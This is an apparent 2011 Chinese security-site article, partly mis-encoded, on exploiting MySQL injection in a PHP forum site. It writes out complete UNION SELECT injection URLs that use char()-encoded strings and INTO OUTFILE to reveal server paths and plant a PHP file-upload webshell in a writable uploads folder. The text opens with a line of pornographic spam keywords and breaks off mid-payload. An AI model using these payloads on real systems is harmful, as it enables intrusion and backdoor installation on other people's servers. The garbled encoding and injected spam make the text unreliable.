国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁 > 信息安全 > 系統(tǒng)安全 >

PHP+MySQL注入導(dǎo)出文件的新發(fā)現(xiàn)

時(shí)間:2011-05-04 15:49來源: 點(diǎn)擊:
近段時(shí)間在測試一個(gè)PHP網(wǎng)站的時(shí)候,由于在load_file的時(shí)候,看不到文件的內(nèi)容,所以我就懷疑是不是字段的原因,因?yàn)槟切┤渴莍nt類型的,還有少數(shù)是VARCHAR的。
Tags系統(tǒng)安全(735)注入(25)  

  我前段時(shí)間寫了一篇《MySQL注入中導(dǎo)出字段內(nèi)容的研究——通過注入導(dǎo)出WebShell》,是查詢數(shù)據(jù)然后在生成文件的,現(xiàn)在我發(fā)現(xiàn)其實(shí)不少PHP程序,比如IPB就是把數(shù)據(jù)處理過了,再插入,一般是htmlspecialchars()之后,插入數(shù)據(jù),所以利用該文的方法,就行不通了,即使把webshell的代碼插入數(shù)據(jù)庫,生成出來的也是被處理過的代碼。用不了。

  近段時(shí)間在測試一個(gè)PHP網(wǎng)站的時(shí)候,由于在load_file的時(shí)候,看不到文件的內(nèi)容,所以我就懷疑是不是字段的原因,因?yàn)槟切┤渴莍nt類型的,還有少數(shù)是VARCHAR的,我當(dāng)初以為是因?yàn)檫@個(gè)原因,其實(shí)后來進(jìn)入以后才發(fā)現(xiàn)是沒有FILE的權(quán)限,我不斷的換URL提交(注意,寫文章的時(shí)候,該網(wǎng)站已經(jīng)修補(bǔ)了漏洞,現(xiàn)在是本地演示):

  http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47, 104, 111, 109, 101, 47, 119, 119, 119, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104,112)

  屏幕上顯示了:

  /home/www/config.php

  路徑?jīng)]錯啊,文件也存在啊,難道沒有權(quán)限?暫時(shí)放下這個(gè),這個(gè)站點(diǎn)有可寫的目錄,是ipb2的論壇,/ipb2/uploads這個(gè)目錄是要設(shè)置成可寫的,上傳附件才能正常使用,我就想利用插數(shù)據(jù),導(dǎo)出文件的方法,因?yàn)槲铱戳藀hpinfo(),magic_quotes_gpc 是關(guān)閉的,所以用into outfile沒有問題,然后在本地測試了一下,發(fā)現(xiàn)提交的代碼:

  變成了:

  多提交幾個(gè)地方,均被做了處理,看來這樣我的這個(gè)思路又不行了,突然想到剛才看路徑的時(shí)候,能用char()函數(shù)輸出字符串,那我能不能直接寫上傳代碼?

  這個(gè)轉(zhuǎn)換為10進(jìn)制是這樣的:

  char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)

  我馬上提交:

  http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)

  屏幕并沒有顯示出我們想要的東西,我查看源代碼,發(fā)現(xiàn)

  這個(gè)代碼老老實(shí)實(shí)躺在里面,如圖:

  

  之所以看不見,是因?yàn)榘选?”和“>”之間的東西當(dāng)成HTML代碼解析了,這么說是可行的!這樣的好處和插數(shù)據(jù),導(dǎo)出文件相比好處在于:

  不用插入數(shù)據(jù),因此不用考慮數(shù)據(jù)類型和長度,也不怕做處理。

  只用知道一個(gè)數(shù)據(jù)表就可以使用into outfile了,無需知道字段。

  因?yàn)橹?,我猜到一個(gè)user表,我也不用去知道字段了,有字段作為查詢條件只是為了防止數(shù)據(jù)庫很大,導(dǎo)出所有數(shù)據(jù)時(shí)很慢的情況,我現(xiàn)在馬上就提交:

  http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) from user into outfile '/home/www/ipb2/uploads/upload.php'/*

  馬上查看,如圖:

  

  注意:因?yàn)槲疫@里說是用char()這個(gè)函數(shù)寫的。所以就用這個(gè)來說明了。既然能用單引號就沒必要用CHAR函數(shù)了寫東西了。可以直接這樣:

  http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '

------分隔線----------------------------

推薦內(nèi)容